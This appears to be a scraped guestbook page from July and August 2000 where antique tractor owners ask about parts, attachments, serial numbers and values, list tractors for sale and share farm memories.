Rob C. wrote on Sunday, August 20, 2000 (PDT):I recently inherited my grandad's 52 Farmall cub. The tractor runs very good, and has hydralics, cultivators, plow and disk set. Grandad always used it for a cultivating tractor and, I have no idea how to attach the plow and disks to the tractor. I want to get a Woods belly mower so I can use this tractor to cut grass, but my cub does not have a pto, it just a round plate on the back of the transmission. What would be involved in addind a PTO? I know where there is a junked Farmall B with a Pto, will that fit? Can anyone tell me how the disks and plows attach to the tractor?
Jim Gemmrig wrote on Sunday, August 20, 2000 (PDT):Have a farmal,model A with no hydralics,would like to put three point on it,need now what hydralices came out on this model,and what attacments were avabile
Justin Macedonia wrote on Sunday, August 20, 2000 (PDT):Does anyone know about how much horsepower the G1000 Wheatland had ?
gene t wrote on Sunday, August 20, 2000 (PDT):I just purchased a 500 diesel and would like to attach a 3 pt hitch and/or a front end loader to it----any 0ne with experience or ideas please contact---Thank you-Gene T
Jack Kerr wrote on Sunday, August 20, 2000 (PDT):I saw a very nice one at our summer show. Just as the one is in the photo. Our show was Aug 3,4,5,6, in Portersvill Pa. I have a 41 B .
Jeff Ramage wrote on Sunday, August 20, 2000 (PDT):I have a 1963 550. The clutch pack just blew out and needs replacing. Any contacts you have would be appreciated. I am looking for an Oliver Front End loader. The front end loader that came to with the tractor is a homebuilt job. Any pictures of an Oliver loader would be greatly appreciated. Jeff
Derek McIntire wrote on Sunday, August 20, 2000 (PDT):does anybody know anything about a "red rooster" for a diesel tractor..... if you know what I am talking about you evedently are probably into pulling... I would like to know where to find one. thanks, Derek
Richard Murray wrote on Saturday, August 19, 2000 (PDT):I just bought a cockshut tractor that looks like the one in the above picture.Mine has a six cylinder.It has no pant but appeared to be green.What year and model might this be.If you can help e-mail me.Thanks for your help...Rick
Buck Gum wrote on Friday, August 18, 2000 (PDT):i have a 1935 t20 trac-tractor serial #st 7423, fully restored,all but side panels. i have extra radiator and water pump, will sell or trade. Buck
Wm Lewis wrote on Friday, August 18, 2000 (PDT):I need a fuel pump diaphram for a F12 tractor. Any help would be appreciated
Bruce Muirhead wrote on Friday, August 18, 2000 (PDT):Someone was trying to sell me an Oliver 1450 but I can't find anything on it anyplace on the net. Does anyone out there have something on it ? Thanks I know it is 60hp, or so he tells me.
Joaquin Mena wrote on Friday, August 18, 2000 (PDT):I had a new flywheel for a G, and I want to sale it. Please contact if you want it. refagsa at usa.net
Ralph Magill wrote on Friday, August 18, 2000 (PDT):'57 John Deere High Crop Tractor for sale; foot clutch; dual hydraulic;4 new tires and tubes; new head job; rebuilt generator. $7,000 obo Spring Creek,PA Mtn.Matters at juno.com
Jack Lithgoe wrote on Friday, August 18, 2000 (PDT):Does anyone have photos or drawings of Cub tractor with implements, or instructions for mounting and using them. Are tillers available for Cub's?
ray wrote on Friday, August 18, 2000 (PDT):I have an early version of the WD 45 that used the WD engine but has the increased horse power and most of the WD 45 additions except for power steering or so the dealership told me. I have had it for about 15 years and it is getting tired and I need to get my mag rebuilt. I enjoy using this tractor but wish I had a wide front end for this tractor. I may try to change the front end if I can locate a wide front end that is inexpensive and the procedure is fairly simple, any suggestions are welcome.
Bill Haines wrote on Thursday, August 17, 2000 (PDT):My father Gilly Haines a well known agricultural contractor in Hampshire U.K. owned and operated a threewheeled Case for quite a number of years using it for towing a Case Baler. He owned two of these balers which produced wire tied bales and required two men sitting either side of the bale chamber to thread and tie the wire. I as a teenager spent many hours driving the Case tractor towing the baler, and rember it as being a delight to drive. The hand clutch and oil immersed independant disk brakes made it a deligtfull tractor to drive with a tight turning circle. And it had a top speed on the road of around fifteen miles per hour usefull for transporting the baler between farms, and quicker than the Fordson Major's 7 MPH which he used to tow a Massey Harris Combine Harvester. Upon his retirement in the late 1950's Gilly desposed of his machinery the Case going to a farm in the Village of Rownhams.
John Sulkowski wrote on Thursday, August 17, 2000 (PDT):I have several parts for a D21. This includes 2 sets of fenders, hoods, brake parts, pto and 3pt, and many more. I also have a D21 series II in parts with everything to put it back together. If you would like a specific item or would like to hear more about the tractor please reply.
DON NESS wrote on Wednesday, August 16, 2000 (PDT):I have an Int. 340 utility gas that needs a tachometer cable. Also need the brackets that mount on the rear axle that the stabilizer arms for the 3 pt. hitch lift arms attach to. Any help greatly appreciated.
Joel Williams wrote on Wednesday, August 16, 2000 (PDT):Finally took first place at a pull in the 8000 pound class and out pulled two JD G models. That is hard to do. Love this thing more every time I get on it. It is a real hit at the shows with people that have never seen one before.
Ryan Wilhelm wrote on Wednesday, August 16, 2000 (PDT):Hey everyone with the problem on what color the wheels on the super 55 are. I have found out from1954 to 1955the wheels are to be the same green as the tractor and from 56 to 58 they are red the only way you can get the red paint is to go to a paint mixing place and take a oliver toy tractor with you and they can macth it. But a hint is that massey ferg red is the closest paint to the original oliver red.
Melissa wrote on Wednesday, August 16, 2000 (PDT):We have a I-4 tractor and 3 I-6 tractors. The I series of tractors are for industrial use. Does anyone out there have access to grill emblems for the I series tractors that say INTERNATIONAL? If you have any information please e-mail me or call me at 931-525-6043.
Ronald Roth wrote on Tuesday, August 15, 2000 (PDT):The first farm tractor that I learned on was a 1940 Model"A" with a wide front end, pet-cock compression release on each piston and flywheel start. It had a faster reverse than 3rd gear-high range and I used to dead-head from field to field in reverse. Lots of power and also used it to run a hammer-mill for grinding cattle feed. The tractor was built to last and would probably still be running today if taken care of. I would like to know if anyone could guess a price for one of these if it would be in decent shape.
Ian Kentish wrote on Tuesday, August 15, 2000 (PDT):In responce to Vernon , July 27 , 2000 . My sentiments exactly , Vernon ......my experience was on a n 820 what a wonderful tractor , my friend Jim Barry had three tractors the 820 an AW6 and a Chamberlain Super 90 on a wheat farm at Manangatang in the Victorian Mallee , Australia .....the AW6 should'nt have been there ! the Super 90 (471 GM ) just had the edge on the 820 (only just) but used twice as much fuel ! and the NOISE that comes out of a 471 fully loaded , all those years ago and my ears are yet to recover ! the John was absolute cream ! ......if only I had a bigger backyard !!! Cheers and thanks for reviving the memories !
Vincent Liskovec wrote on Monday, August 14, 2000 (PDT):I need parts to connect a snow blade or plow to a Super A Farmall tractor. I have a blade and some of the brackets. I need the brackets that would connect to the tractor. Please let me know. If someone also has a picture of how to connect the blade I would appreciate the picture. Thank you very much. Vince Liskovec
Tim wrote on Monday, August 14, 2000 (PDT):I have what evidently is a farmall BN. (so stated because of a comment above saying that BN designates one front tire.) I would be interested in sheetmetal and information, such as how to date the manufacture. this tractor does not have a starter, or even a place to put a starter. any help appreciated. tcurrent1 at hotmail.com
Joe wrote on Monday, August 14, 2000 (PDT):I have, what seems to be a JD2010 gas tractor everything works except the three-point hitch. I have no hydraulic fluid going to that system. There is no fluid going to the tube that carries the fluid to the back of the tractor. Can someone give me some tips?
CHARLIE hAIER wrote on Monday, August 14, 2000 (PDT): I have a M-5 that I pull with in New York that has 250 H.P. on the dyno. It is a 1960 propane with a narrow front end that we have done some internal work to. We really like Moline tractors because of universal engine parts that can be intrechanged to develop big h.p. I am going to add a turbo over the winter and hope to have approx. 300 - 350 h.p.
G.M. Nelson wrote on Monday, August 14, 2000 (PDT):I am the proud owner of a newly acquired B. Yes, it too needs a little tlc but runs good. I'm all ears for help on restoration and keeping it running. Thanks
Shelly wrote on Monday, August 14, 2000 (PDT):My father passed away in March. He owned 2 Olivers; 1 66 Row crop and 1 77 w/ front loader. They both run great. I love the sound of them. Mom still has them. Not interested in selling, just wanted to add my comments. Dad had a picture of the 77 put on his cemetery marker a few years before he passed away. He even won a tractor pull with the 77 in the 1950's. I am hoping one day to restore one or both. I have a poster of a 77 that I found at a 5 & 10 store.
John Reimer wrote on Sunday, August 13, 2000 (PDT):I own a 55 that I use for tractor pulls. Wheat City Diesel in Brandon MB rebuilt the injection pump and I must say they did an excellent job. My present pull placement is usually first or second. Anyone that has info. on more horsepower potential other than a propane sniffer kit I would love to hear from you.
Danny wrote on Sunday, August 13, 2000 (PDT):Buy the tractor Tim,That is a steel
donald gene stahl sr. wrote on Sunday, August 13, 2000 (PDT):when was the last m tractor make and when did the super m come out and how long did it run before it was replace. thank you skeeter
Ken Warnock wrote on Sunday, August 13, 2000 (PDT):I've got a IH 300U and am considering adding a front loader to it. Does anyone have any knowledge of a source for a suitable loader that will fit this tractor? Also what is the horsepower rating of the 169 cu. in. IH engine? Thanks,
Dick Rogers wrote on Saturday, August 12, 2000 (PDT): I'm looking for a mid-mount cultivating tractor. The AC "g" series was suggested. Does anyone have one in good running order with cultivators?
rick wrote on Saturday, August 12, 2000 (PDT):I have a VC tractor that I purchased a couple of years ago. It looks like the picture that is attached to this website, and I am interested in selling it. The engine is strong,(it smokes), but everything else works fairly good.
Jeremy Arnett wrote on Friday, August 11, 2000 (PDT):I have a 1956 WD45 diesel that I wish to sell. It has a WF with power steering ,a New Idea bucket, AC 9' disc, AC 3 bottom plow, duals, and draw bar. All original equip. Started repairing it new starter, radiator, valve job ect. Runs but rough. 3000.00 OBO.
Eric Schwartz wrote on Friday, August 11, 2000 (PDT):I bout a Farmall Regular in real ruph condishion plugs was out of the motor for years.It took 3days for me and my buddys to unseez the motor.Im still looking for someone tocut the valve seals.This tractor has ben hard and exspensive to find parts for Im still looking for rims and tires 12/36.I also do antique tractor pulling with an ALLICE-CHOMERS B and my buddy Chester Lee pulls a John Deer 630 and a Olover Super 88.I cant wait to see wat this Farmall Regular can do on a stone bote pull.
Ed Fiebelkorn wrote on Thursday, August 10, 2000 (PDT): I have a friend that I work with that has a 1949 model H. He would like to know how much that tractor is worth today. It is in running condition. I haven't seen it myself so I don't know what shape the paint is or anything else. But I would like to know as soon a possible the worth. Anybody out there know?
Tim wrote on Thursday, August 10, 2000 (PDT):I have the chance to buy a 560 gas for $500 the tractor doesn't run is a good deal?
vernon e. knight wrote on Thursday, August 10, 2000 (PDT):pacer, wanted ,dead or alive , any location considered .
Graham matthews wrote on Thursday, August 10, 2000 (PDT):I have a JD730 diesel built in 1961 as an export to Australia ,the tractor has done approx 4000 hrs . The flywheel has come loose and damaged the internal spline ,I have been told taper locks can be fitted can any one help
carol B wrote on Wednesday, August 09, 2000 (PDT):Am looking for 1930 TORO Jr. tractor info,and value, made by Toro Tractor Co. in Minneapolis, MN; have Model B-30, ser.# 348, Model A Ford engine w/ 3 speed trans, driving a second 4 speed Ford Trans. Any leads to info appreciated.
Harold Morris wrote on Wednesday, August 09, 2000 (PDT):I have a 1934 W-12 and McCormick Deering is casted into the radiator. Mine is the 612th one built. I bought this tractor in Titusville Pa. two years ago, it needed a lot of work but it is worth every penny I have put into it. There isn't hardly any around this area in Michigan.
Scott Wright wrote on Tuesday, August 08, 2000 (PDT):A tractor was left with the land I bought, it's salvagable but I don't know exactly what it is. I think it's a 1941 farmall f-20, how much would it be worth?
Randy Merry wrote on Monday, August 07, 2000 (PDT):Westley Taylor, What is your E-mail address and where is the half track located?
Daryl wrote on Monday, August 07, 2000 (PDT):Would like to know if anyone has a 8n or 9n Ford tractor with a funk v8 engine for sale. Wanted as a project tractor. E-mail me.
Richard Day wrote on Sunday, August 06, 2000 (PDT):I have a 1956 TO-35 Ferguson...I am wanting any information or any available place to attain info on this tractor...being parta and service manuals on both mechanics and wiring.
jim campbell wrote on Sunday, August 06, 2000 (PDT): my brother in law has a tractor like this one in Selkirk, Manitoba,Canada.He says that he uses this tractor weekly and that it is a good workhorse.
GLENN WOLF wrote on Sunday, August 06, 2000 (PDT):i have a 1941 JD MODEL B serial # 110037 and would like to trace any information on this JD , exact date made, where sold, and maybe how many owners if possible. also, what type of front wheels does it take as i believe they have been changed. any information would be greatly appreciated. thanks GLENN WOLF
Harold Saylor wrote on Sunday, August 06, 2000 (PDT):We had an Allis Chalmers on our dairy farm in Penna when I was growing up during the 40's, but I don't see it in any of the photos currently in the gallery. It was similar to the WD45 - wide fenders and square radiator, crank start, gasoline engine (4cyl), however it had narrow front wheels and I remeber being told it originally had steel lug rear wheels. Lots of (fond?) memories having to drive it at age 6-7 to make hay and doing my best to follow the wind-rows around turns etc even tho' I couldn't quite reach the clutch petal or hand breaks! I'd like to know what model it actually was and if any are still around.
Jim Kalinowski wrote on Sunday, August 06, 2000 (PDT):We are in the process of putting together a super major with a six cylinder we are looking for a narrow front for the tractor. a hood would be helpful too but it is not as essential any information would be appreciated
Craig Hayton wrote on Sunday, August 06, 2000 (PDT):To Chag Gallien If you have not found rims for your 77, call Jim Day of Cannan Tire in Cannan Conn. phone 860-824-7789. Jim got me new rims for my Super 77 at a price that was in line or just a little more than most people wanted for used ones. I also got all new tires from him for my 77. Jim has a Super 88 for the tractor pulls. He is a great person and a pleasure to do business with. Good luck with your 77 Craig E-mail Bot44 at aol.com
Andy Martin wrote on Saturday, August 05, 2000 (PDT):I have an IH CUB LOBOY which ran fine, was parked for about 3 years and now only runs when I mist the carb w/gas. It has plenty of gas flow, where can I get a carb rebuild kit? Who in Mass (or new England) does good work on these tractors? Serial #13218U or 13218J (serial #plate damaged, hard to read), What year is it, PS have several implements, whats it worth? Runs great when it gets fuel, hyrraulics work great.
pierre charest wrote on Saturday, August 05, 2000 (PDT): 'aimerais recevoir une copie du manuel de ce tracteur
kevin martin wrote on Friday, August 04, 2000 (PDT):help! i have my grandfathers tractor that completely restored over this past winter but i have to find a magneto for it. my father claims its a bf avery but i think its a cletrac general. i would like to get e-ail from people who could give me some insight on this. i could provide more info. i painted it the original color, similiar to chevy orange. thanks
Bill Roll wrote on Friday, August 04, 2000 (PDT):My family had a farm in So.Calif. and used a TD35, TD9 and a TD14 to farm 1800 Ac. Mostly dry farm, barley, beans, then rowcrops, tomatoes, celery etc. I can remember driving all of the tractors, the TD35 was the slowest of them all, but it could pull. Wish we still had them. Bill.
Larry wrote on Thursday, August 03, 2000 (PDT):My dad bout a new ZA in 1952. The new JD 50 did not have enough power. We restored it a few years ago. Easy restoration, he took good care of it. He says it looks better now than it was new! Great old tractor with a fast PTO. I went back to green to farm, but still love the old MM's.
tracy wrote on Thursday, August 03, 2000 (PDT):How much horse power did the John Deere 2 cyl. hercules motor have and what years did they put the hercules motors in the John Deere L.
Tracy wrote on Thursday, August 03, 2000 (PDT):what year was the first john deere L made.
Dave Shaw wrote on Wednesday, August 02, 2000 (PDT): We have had a mid 50's WD45 with a farmhand loader for 2 years now, suprisingly clean, power steering, wide front, new tires front & back. Did all of the gasoline WD45's come with the "power crater" engine? We had some carb trouble about a year ago, I found that the bowl was actually cracked & the jets & other fuel passages were plugged badly. I was suprised to find that the quality of the steel in the cast iron bowl was good enough to weld, the rest was just a matter of a good cleaning & we were back in business with more power then I would have ever imagined. When I get ready to start restoring "allis" I would like some nice photo's for inspiration. If you have some good one's please send me some photo's & tell me about converting my 2 point to a 3 point. Thanks.
John M. wrote on Wednesday, August 02, 2000 (PDT):I have several manuals for "C" and Super"C" tractors. Also have manuals for equipment--- plow,cultivator,planter,harrow, etc. If interested send me an email.
Albert Baker wrote on Tuesday, August 01, 2000 (PDT):We have a offset 2000. Seems to be in good condition close to original. I would like to know how many of these tractors were made and also the value of one? Also would like more information such as manual for this tractor. Thank you for any help you may be able to give us.
aaron wrote on Tuesday, August 01, 2000 (PDT): Hey Buz is this what the bloader use to look like?
Jeff Sawyer wrote on Tuesday, August 01, 2000 (PDT):Trying to see how availiable parts are for a super 55 diesel? Any information please feel free to contact me. Thanks Jeff
Justin Wright wrote on Monday, July 31, 2000 (PDT):My Dad and I have two Farmall Ms. One with a frontend loader and the other which is in the rebuilding process. I think that the Farmall M is one of the best tractors ever built.
Brian wrote on Monday, July 31, 2000 (PDT):I have an early 9n, and am interested in knowing what the pulling capacity of it might be. Thanks
don wrote on Monday, July 31, 2000 (PDT):My grandpa used to have a model 70 sitting in our shed, hasnt been used for probly 20-30 years, and then in 94 or 95 he sold it for a couple hundred dollars. i would really like to locate it once again, and it was sold in northeast wisconsin. when he sold it it was completely rusted over, and had both spider and rubber wheels for the back and was a row crop model i think. if anyone out there has any clues, i would really apreciate it. I know it will be very hard to locate, but thanks to anyone who could help
Matt wrote on Sunday, July 30, 2000 (PDT):I have a 1939 H that I am almost done restoring and I was wondering two things about it- 1) This one has a small kerosene tank across from the air intake, does anyone know how many years H's came with a smaller, second fuel tank? 2)- Were fenders very common among H's?
Jim Watkinz wrote on Sunday, July 30, 2000 (PDT):This is one hell of a pulling tractor.
Bill wrote on Sunday, July 30, 2000 (PDT):I am restoring a BF Avery tractor which I recently purchased. It was in running condition but in need of much TLC. I have completely stripped the tractor of paint and parts and am slowly cleaning,repairing and reconstructing. I matched the paint by taking off a part which had hidden original paint and had a paint shop match the color. If you have any information about the Avery tractor e-mail me.
k.c hahn wrote on Saturday, July 29, 2000 (PDT):cylinder sleeves to fit a-c model a tractor k l crawler e60-e563 power unites 51/4 bore anybody need any made?
Dusty M. Erickson wrote on Saturday, July 29, 2000 (PDT):I know this tractor is not a Cockshutt 30, but maybe you Cockshutt collectors in western Canada could assist me. I recently purchased a Cockshutt 60 RC (Oliver) and need help in transporting it to Arizona within the next year from Vancouver area. If any winter visitors are heading south, could you offer suggestions ? dusty erickson 480-948-1644 or dusty at gameguns.com
Larry Blaney wrote on Saturday, July 29, 2000 (PDT):What are the two holes on the right hand side of the hood on a farmall cub for? I belong to the S.E.Wisconsin Antique Power & Collectibles Society and this question was asked by a vistor to the tent we have at the currently running Racine,Wisconsin county fair. We have over 60 tractors in the tent and this was a question that a current owner of a cub asked but not a member of our club could answer him. I would appreciate any help. tn
Mike Ring wrote on Friday, July 28, 2000 (PDT):Just got a 1950 TO-30, serial# TO-34408. Its in very good condition,complete except for exhaust system. This was my father-in-laws tractor for the last thirty years. I live in Palm Springs Ca., current temp 118*.
Mike Ring wrote on Friday, July 28, 2000 (PDT):Just got a 1950 TO-30, serial# TO-34408. Its in very good condition,complete except for exhaust system. This was my father-in-laws tractor for the last thirty years. I live in Palm Springs Ca., current temp 118*.
Gary Buhr wrote on Friday, July 28, 2000 (PDT):My brother and I are restoring an old Case that we inherited from our father. We believe it is a Case VAC14, 1947 or 1948. It is two tone colored, off yellow and orange. What were the original color(s) of this tractor? Also, could anyone tell me what the difference is between the VAC and VAC14 models?
Tom Willy wrote on Friday, July 28, 2000 (PDT):For sale John Deere 420T single front wheel vary rare tractor needs restored located in LOGANSPORT IN Ph. 219-753-3836
rinus wrote on Friday, July 28, 2000 (PDT):ik ben opzoek naar een ford dexta, of een andere kleine ligte tractor voor wat ligt werk in de snijbloemen.
scott sadoski wrote on Friday, July 28, 2000 (PDT):I have a 1950 it has a front loader on it and remote HDY on back I live in eatonville wa 360 832 2102 $5500.
Alfred Boerger wrote on Thursday, July 27, 2000 (PDT):Ibought a new Oliver 70 just before WWII and had it for over 35 yrs and had excellent success with the tractor. I then bought a Super 77 Gas and had even better success using it on my 100 acre farm in mid-western Ohio. Now I'm retired but still live on the farm at age 86. My Oliver tractors were the best tractors on the market, in my view. Besides, my younger brother, Clarence, was an Oliver dealer, so I also felt somewhat obligated to buy from him. Fortunately I had excellent luck with the Olovers.
Dee wrote on Thursday, July 27, 2000 (PDT):Learning about D-17's with a neighbor. He'd like to buy gas, series 4. We're in Michigan. Let us hear from you.
Dee wrote on Thursday, July 27, 2000 (PDT):Learning about D-17's with a neighbor. He'd like to buy gas, series 4. We're in Michigan. Let us hear from you.
Jim Taylor wrote on Thursday, July 27, 2000 (PDT):I know of a id-9 . It lives 2miles away from my place. It is sitting outside rotting in the weather.The owner wont sell it but he said he's going to restore it one day ,but he said that13 years ago . I think the least he could do would be to put it in the shed or put a couver over it becauseits such a valuble (BEAST)
Alvin Layne wrote on Thursday, July 27, 2000 (PDT):I am currently sandblasting/repainting a 77 for a dealer. Olivers are good tractors.
Kathy Anderson wrote on Thursday, July 27, 2000 (PDT):I recantly met a lady who had one of these H's. My husband had used one when he was a boy. he was young enough that he had to use his foot to move the gear/clutch lever. If this lady's husband wants to sell it, I will pass on the info. to others as I doubt we can afford it right now. My email is kmanders at dmi.net the tractor is located in North Idaho.
Kathy Anderson wrote on Thursday, July 27, 2000 (PDT):We purchased a Cockshutt tractor last fall. It seems to be newer than those shown in the photo graphs. it has a squarer shape and headlights. i will have to take a look at the serial # and check back with this site. It runs great!
Kerry Florence wrote on Wednesday, July 26, 2000 (PDT):I grew up on a farm where all the work done on over 200 acres was with 2 F-20's. I loved and hated them and beat them with the crank many times.Many a night we'd be plowing by moonlight with the exhaust gloeing and that old engine cackling, almost like it was talking or singing to you. I've got a few acres now and would like to get one for the farm, it's even more meaningful now that my Dad has passed away. I'd like to hear some other stories.
David D. Doan wrote on Wednesday, July 26, 2000 (PDT):I grew up working on my brother-in-laws farm,we had a model 50 with a tricycle front end it was the best tractor on the place,it cranked under all conditions. I can remember raking hay and we also had a self propelled JD. hay baler that we would pull with this tractor. I will always cherish the memories I have of growing up working with that equipment. I am currently searching for a JD to restore I beleive we must keep this history alive for our future generations. Thanks for your time.
Dick Kline wrote on Wednesday, July 26, 2000 (PDT):It has been a long time since I ran an M but I thing the control Jim Prior is talking about is the brake lock. Hold the brakes in and pull up. The brakes should stay down. The were great tractors. All the new tractors the salesmen brought to the farm had to start a head of me in the dead furrow. Never had a tractor in their class that I didn't have to wait for.
Duane Starr wrote on Wednesday, July 26, 2000 (PDT):I have a 66 Diesel with wide front end. The tractor was given to me by a friend, he said that the clutch was "out" however when I got it home I found that the pressure plate bolts had come loose. I have had the tractor about 15 years and restored it then. I currently have a problem with the starter switch. Does anyone have a spare switch? The switch is the same on the 77 & 88 tractors up to the serial number when they changed the hood to the big opening for the battery. Any help with parts would be appreciated. Contact me at bastar at intenebr.com Thanks
Tracy Edwards wrote on Tuesday, July 25, 2000 (PDT):My husband just purchased a Cockshutt "30". The only serial number I can find is 30-48-16938. I can't seem to match it up to a year but it looks pretty much like the one in the picture above but it also has a frontend loader. The only trouble my husband is having with it is the battery doesn't seem to be charging. My husband is very mechanically inclined but he can't figure out why it doesn't charge. Anyone with any info on how to service this machine would be greatly appreciated.
donald snyder wrote on Tuesday, July 25, 2000 (PDT):i have a shawn tractor that needs to be restored but has ever thing thire.need some help in finding out how much thire worth thanks
Keith Jones wrote on Tuesday, July 25, 2000 (PDT):I have recently purchased a VAI that is missing the serial number tag. Is the serial number stamped anywhere on the tractor?
Allen R. Strefling wrote on Tuesday, July 25, 2000 (PDT):The 50 was a very smooth running machine. My Uncle had one a pulled a 3-16 plow. It was no match for the tractor. It could clearly have handled another bottom. I was just truly impressed with the smooth power it produced and am very glad that I had the chance to see it in operation.
Allen R. Strefling wrote on Tuesday, July 25, 2000 (PDT):The 50 was a very smooth running machine. My Uncle had one a pulled a 3-16 plow. It was no match for the tractor. It could clearly have handled another bottom. I was just truly impressed with the smooth power it produced and am very glad that I had the chance to see it in operation.
Adam Shiflett wrote on Tuesday, July 25, 2000 (PDT):Our farm has a 1950 ZA that my grandfather bought new. It was the first tractor I ever learned to drive and we have restored it and continue to use it on the farm. We also have two M-5 Moline's.
John Hague wrote on Monday, July 24, 2000 (PDT):I just bought this old Ford tractor that had been sitting for 1 to 2 years. I've been searching the internet for the last couple of days trying to identify it. It doesn't have serial numbers by the starter where everyone says they should be. A picture on this website look very similar to my tractor and it appears to be a 671. It has the sos xmsn and one rear pto. All the heavy iron is blue but by scratching the blue, it has red underneath. Can anyone suggest ways to confirm it's identity. I want to buy manuals for it.
Mike wrote on Monday, July 24, 2000 (PDT):I am looking for a a mounted plow for my pacer. Have you got one sitting in the field?
Tim Voss wrote on Monday, July 24, 2000 (PDT):For Sale; 1937 F-20. Had new paint and emblems and ran good when I parked it nearly 20 years ago. Has road gear and electric start set-up. If interested, please contact me and make offer. I've enjoyed this site. It brought back memories.
Leonard wrote on Monday, July 24, 2000 (PDT):Have Oliver 550 gas. Need oil seals for front wheels with the adjustable front axel. Seal removed manufactured by Ohio Rubber Co. part # 2264739. Also need plate where seal rides against spindle. Need two each asap
Phil wrote on Monday, July 24, 2000 (PDT):Tractor is a Red Nose "UTU". Minneapolis-Moline did not make a "UTV" The header for the photo is a mis-type. I own a 1948 UTU - the "UTU" Is broken down as follows - First Letter "U" - Tractor Model. "T" - Tractor. "U" - Universal. If this were a wide front fixed front end it would be a "UTS" Single front wheel is "UTN". There is also "UTI" (Industrial model). Also there is a "UTE" - wide front end that is adjustable. Hope this helps. Phil
Jeff Richards wrote on Monday, July 24, 2000 (PDT):I am thinking of purchasing a 9N or 8N for (1)- Mowing my lawn (approx. 2.5 acres), (2)- Snowblowing my driveway (approx. 385' long), and (3) - Mowing my Christmas Tree field (approx. 4 acres). Does anyone have any experience with this? Are snowblowers with a 3-point hitch available for these tractors? Interested in any comments or suggestions. I'm as "green" as they come! Thanks.
KW wrote on Monday, July 24, 2000 (PDT):re; Bud Madison. Hey I dont exactly know what its worth, but my father has one and its restored pretty nicely except needs new rings or valves....seems to have a lose of power from this. Just a guess but I would say this type and year with manuals should be worth $5,000 to $10,000. Anyone else with an estimate? (or guess). Happy plowing!
Brad wrote on Sunday, July 23, 2000 (PDT):Yes I own a 1950 styled D. Which has a pto, standard form factor. So these two tractors are very far apart.
jeanine joelson wrote on Sunday, July 23, 2000 (PDT):My husband is wanting to find out the type and weight of the original oil in the hydraulic system of a 1948 8N tractor? Can anyone help him with that? Thanks.
fran wrote on Sunday, July 23, 2000 (PDT):i have a 1939 allis chalmers model B completely restored show tractor with original book.if interested email me and i will send a picture 2,800
kevin miller wrote on Saturday, July 22, 2000 (PDT):uncle just purchased a 1954 john deere 60 can any one tell me where i might get info on decal placement?
Ya Mum wrote on Saturday, July 22, 2000 (PDT):These tractors are quite interesting.
Jerry Nusz wrote on Saturday, July 22, 2000 (PDT): Great tractor.
Dave Boucke wrote on Saturday, July 22, 2000 (PDT):I have a 1950's cub that needs a new/rebuilt IH (not zenith)carb. Anyone know where I can locate one? I am also interested in a belly mount mower or a "brush-hog" attachment. We are in the Sacramento, CA area. Thanks!!
Albert Hayworth wrote on Saturday, July 22, 2000 (PDT):I wrote that i have a 1950 tractor,Idid some research and foundout i have a 1948 Harry Ferguson TE-20.my mistake.
Albert Hayworth wrote on Saturday, July 22, 2000 (PDT):I wrote that i have a 1950 tractor,Idid some research and foundout i have a 1948 Harry Ferguson TE-20.my mistake.
Albert Hayworth wrote on Saturday, July 22, 2000 (PDT):I just purchased a 1950 seri.#TE-25749 this year and i am proud to own one. I have 5 acres and the little tractor is perfect.Whin i purchased the tractor,it has set for 6 mo.we put in a hot battery and belive it or not the thierd crank it fired right up,and still starts on the first cranck.I am verry pleased with my new toy.
Tim Pinkerton wrote on Saturday, July 22, 2000 (PDT):I have a question about a wd45 that i got at a sale.I can not find out for sure if its a wd45 or just a wd. My ser# reads WD149512. well this # falls under wd or wd45. I have a curved shift lever,no plate on the side of the engine. It has a wide front on it.The front mounting plate for the wide front only has 3 bolts instead of 4.Sandy Lake implement tells me that the plate on the side of the engine means wd but lack of one does not mean 45.So do I have to check the bore and stroke to find out forsure?
steve gapske wrote on Saturday, July 22, 2000 (PDT):I just purchesed a 1929 mccormick-deering, steel wheels, low air cleaner, exhaust out the side, in great condition. Where can i look to find the exact info for this creature. I do have the plate from under the duel fuel tanks. Is that the model or serial number.....KC208200. any info would be helpfull...thanx in advance.
MAX E. PIERCE wrote on Friday, July 21, 2000 (PDT):LOOKING FOR A PICTURE OF A WD WITH A LOADED ATTACHED. I HAVE A PILE OF PARTS AND HOSES, BUT NO DIRECTION. THANKS.
Janet Marie Sutton wrote on Friday, July 21, 2000 (PDT):I have two Rock Island rear tractor wheels. Will send a picture if given an email address. Were used on a farm in the Northern Neck of Virginia about 1920+. Please advise. Thx, Janet
Aaron wrote on Thursday, July 20, 2000 (PDT):My Grandfather's hired man uses a Super Dexta diesel to mow with. It has been a very reliable tractor, and has run well. Currently the starter or something is bad, and it must be pulled with a pickup to start, though. Also, we use Farmall 300 and 350 tractors to mow. The 300 is a narrow-front and the 350, a wide-front.
Ed Hills wrote on Thursday, July 20, 2000 (PDT):I have two AC tractors that look the same in your photo. Unsure whether they are both model B's. One is a crank start with hand brakes the other is multi start with lights and foot brakes. I have restored the multi start one and are using it as a boat tractor for towing and launching a small pleasure boat at our beach house. I used a rust inhibitor coat over the tractor before painting it and galvanized the wheel rims for good rust protection in salt water. It is washed down after every launch and it still looks a picture. I am thinking of mounting a winch system on the rear of it and wonder whether anyone has already done this using the AC's electrical, hydrualic or PTO systems. Any help would be appreciated. PS; My apologies to all those AC owners who believe it's scarilege to retire old AC tractors to lighter duties by the sea, when this may well have been the good fortune of many of their old drivers.
Doug wrote on Thursday, July 20, 2000 (PDT):If anyone is looking for a 720 Wheatland Diesel I have one for sale. It has nice sheet metal, and the tractor runs good. I used it to cut 12 acres of hay. I would like $3950 for it.
mike wrote on Thursday, July 20, 2000 (PDT):Ihave 2 MH pony tractors. One is complete minus the engine. The other has everything but is taken apart.Ihave the fenders. Interested in selling complete tractor or parts.
mike wrote on Thursday, July 20, 2000 (PDT):Ihave 2 MH pony tractors. One is complete minus the engine. The other has everything but is taken apart.Ihave the fenders. Interested in selling complete tractor or parts.
Robert wrote on Wednesday, July 19, 2000 (PDT):I looked up the tractors in question in a couple of books I have. I knew the one on the left was a U-DLX. The book I have says there was barely 125 of this model sold. It doesn't mention the year(s) the tractors were produced. I have two books with two diffrent tractors of that model. One is a 1939, and the other is 1938. The tractor to the right is a R-T. The model R was introduced in 1939 and it appears that in 1940- about 1950 was the time frame in which these models were made. Some of these were made with special baskets on them to accomidate the postal service delivery. The book doesn't mention how many of thses were made in either variation. Hope this helps with some of the information you asked about.
Wayne Baker wrote on Wednesday, July 19, 2000 (PDT):I'm looking for a D-21 or G Allis Chalmers Tractor. I would one with the manuals with it. It has to run.
Tyler Thompson wrote on Wednesday, July 19, 2000 (PDT):My dad and i own two AllisChalmers wd45 tractors
